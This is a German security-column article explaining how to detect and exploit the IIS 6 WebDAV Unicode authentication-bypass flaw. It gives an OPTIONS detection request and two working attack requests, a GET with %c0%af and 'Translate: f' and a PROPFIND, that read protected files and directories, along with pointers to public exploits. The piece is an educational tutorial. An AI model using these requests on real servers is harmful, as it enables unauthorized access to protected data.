Samstag, 4. Februar 2012 |
Nachdem der Webserver wie in About Security #206 beschrieben mit ausreichender Sicherheit identifiziert wurde, können darin vorhandene Schwachstellen ausgenutzt werden.
Um bekannte Schwachstellen in einem bestimmten Programm zu finden, gibt es eine ganze Reihe von Möglichkeiten. So werden Schwachstellen von mehreren Organisationen und Unternehmen in Datenbanken gesammelt, z.B. in der Open Source Vulnerability Database osvdb oder von SecurityFocus, dem Betreiber der Mailingliste Bugtraq. Eine weitere gute Informationsquelle, insbesondere um neue Entwicklungen zu verfolgen, sind Mailinglisten wie die schon erwähnte Bugtraq oder auch Full-Disclosure. Fertige Exploits, d.h. Programme oder Skripte zum Ausnutzen von Schwachstellen, gibt es z.B. auf milw0rm oder packet storm. Eine aktuelle Übersicht über veröffentlichte Schwachstellen gibt es auch im Bereich "Security aktuell" auf entwickler.de
Als Beispiel bietet sich eine beim Schreiben dieses Textes sehr aktuelle Schwachstelle in Microsofts Internet Information Server (IIS) an: Eine Schwachstelle beim Verarbeiten von WebDAV-Requests erlaubt das Umgehen der Authentifizierung für passwortgeschützte Verzeichnisse und den Up- und Download beliebiger Dateien.
Die Schwachstelle wurde von Nikolaos Rangos ('Kingcope') entdeckt und z.B. auf milw0rm veröffentlicht. Microsoft hat die Schwachstelle kurz darauf in einem Security Advisory bestätigt. Als Workaround kann WebDAV deaktiviert werden. Weitere Informationen wurden ebenso wie eine FAQ in Microsofts Security Research & Defense Blog veröffentlicht.
Ob WebDAV aktiviert ist, verrät der Server auf Anfrage selbst:
telnet server 80
OPTIONS / HTTP/1.1
Host: server
Accept: */*
Eine HTTP-Response wie die folgende bedeutet, das WebDAV aktiviert ist
HTTP/1.1 200 OK
Date: Wed, 20 May 2009 00:52:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIN
D, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
Die entscheidende Zeile ist 'MS-Author-Via: DAV' (aus der
FAQ
in Microsofts Security Research & Defense Blog).
Ein Skript für den Schwachstellenscanner Nmap sucht nicht nur nach Servern mit aktivierten WebDAV, sondern gleich auch noch nach geschützten Verzeichnissen (Beschreibung). Und auch für das Metasploit-Framework gibt es ein Modul zur Suche nach entsprechenden Servern und zwei Module zur Ausnutzung der Schwachstelle.
Im Advisory von Nikolaos Rangos sind nur zwei einfache Beispiele angegeben.
Um auf die Datei protected.zip im passwortgeschützten
Verzeichnis d:\inetpub\wwwroot\protected\ zuzugreifen, dient
folgender HTTP-GET-Request:
GET / %c0%af/protected/protected.zip HTTP/1.1
Translate: f
Connection: close
Host: servername
Die URI enthält das Unicode-Zeichen '/' (%c0%af), das im
WebDAV-Request gelöscht wird. 'Translate: f' weist den
Webserver an, den Request als WebDAV-Anweisung zu behandeln. In der Folge
wird die eigentlich geschützte Datei
/protected/protected.zip an den Angreifer geschickt.
Um auf ein passwortgeschütztes Verzeichnis zuzugreifen, wird ein PROPFIND-Request verwendet:
PROPFIND /protec%c0%afted/ HTTP/1.1
Host: servername
User-Agent: neo/0.12.2
Connection: TE
TE: trailers
Depth: 1
Content-Length: 288
Content-Type: application/xml
<?xml version="1.0" encoding="utf-8"?>
<propfind xmlns="DAV:"><prop>
<getcontentlength xmlns="DAV:"/>
<getlastmodified xmlns="DAV:"/>
<executable xmlns="http://apache.org/dav/props/"/>
<resourcetype xmlns="DAV:"/>
<checked-in xmlns="DAV:"/>
<checked-out xmlns="DAV:"/>
</prop></propfind>
Der Server gibt danach ohne Passwortabfrage den Inhalt des Verzeichnisses aus.
Ein Angreifer kann diese beiden Methoden schon ausnutzen, um auf passwortgeschützte Dateien und Verzeichnisse zuzugreifen. Das ganze geht aber auch komfortabler. Zum einen mit den oben erwähnten Metasploit-Modulen, zum anderen mit einigen Exploits, die auf milw0rm veröffentlicht wurden. Z.B. einem in PHP, der das Herunterladen geschützter Dateien und des Quellcodes von ASP-Skripten ebenso erlaubt wie das Heraufladen einer eigenen Datei (jeweils nur, sofern der angegriffene Server entsprechend konfiguriert ist). Das gleiche wurde auch in Perl implementiert, außerdem gibt es einen Patch für den Unix-WebDAV-Client cadaver, dessen Funktion in einem Blogeintrag auf SkullSecurity beschrieben wird.
Welcher Angriff möglich ist, lässt sich nur nach der "Trial-and-Error"-Methode herausfinden. Da das Schreiben von Dateien und das Einschleusen von Code nur in ganze bestimmten Konfigurationen möglich ist, die sich vorher nicht testen lassen, kann ein Angreifer nur sein Glück versuchen und auf das für ihn beste hoffen.
In der nächsten Folge geht es um weitere mögliche Angriffe und Gegenmaßnahmen.
Wenn Sie Fragen oder Themenvorschläge haben, können Sie diese gerne an die angegebene E-Mail-Adresse senden oder im Security-Forum einbringen!